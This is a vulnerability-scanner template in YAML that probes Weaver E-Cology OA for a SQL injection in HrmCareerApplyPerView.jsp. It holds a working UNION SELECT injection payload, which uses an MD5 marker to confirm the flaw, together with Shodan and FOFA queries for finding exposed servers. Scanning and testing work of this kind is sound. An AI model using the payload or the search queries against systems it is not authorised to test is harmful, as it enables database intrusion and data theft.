id: weaver-ecology-hrmcareer-sqli info: name: Weaver E-Cology HrmCareerApplyPerView - SQL Injection author: SleepingBag945 severity: high description: | There is a SQL injection vulnerability in the HrmCareerApplyPerView.jsp file of Panwei OA E-Cology. An attacker can obtain sensitive files in the server database through the vulnerability. reference: - https://github.com/ibaiw/2023Hvv/blob/556de69ffc370fd9827e2cf5027373543e2513d4/%E6%B3%9B%E5%BE%AE%20HrmCareerApplyPerView%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md?plain=1#L3 metadata: verified: true max-request: 1 shodan-query: ecology_JSessionid fofa-query: app="泛微-协同办公OA" tags: ecology,weaver,oa,sqli variables: num: "999999999" http: - method: GET path: - "{{BaseURL}}/pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),4,5,6,7" matchers-condition: and matchers: - type: word part: body words: - '{{md5(num)}}' - type: status status: - 200 # digest: 4a0a004730450221008a69da6dd9b0443019eb595747f9261d574b5a66de842c6185e142a5283fac49022003c7581a2daeebea8bd4eb05c1fc91f8676c9a2a46da1bc7b1e0717fa27fbca8:922c64590222798bb761d5b6d8e72950